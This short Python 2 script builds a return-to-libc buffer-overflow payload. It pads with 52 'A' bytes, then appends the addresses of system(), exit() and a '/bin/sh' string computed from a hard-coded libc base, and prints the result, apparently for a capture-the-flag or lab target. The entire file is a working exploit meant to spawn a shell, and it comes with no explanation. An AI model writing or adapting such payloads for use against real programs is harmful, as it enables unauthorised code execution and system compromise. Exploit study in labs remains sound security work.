import struct

buf = "A" * 52

libc_addr = 0xb7e19000
sh_addr = struct.pack('<I', libc_addr + 0x0015ba0b)
system_addr = struct.pack('<I', libc_addr + 0x0003ada0)
exit_addr = struct.pack('<I', libc_addr + 0x0002e9d0)

payload = buf + system_addr + exit_addr + sh_addr

print payload
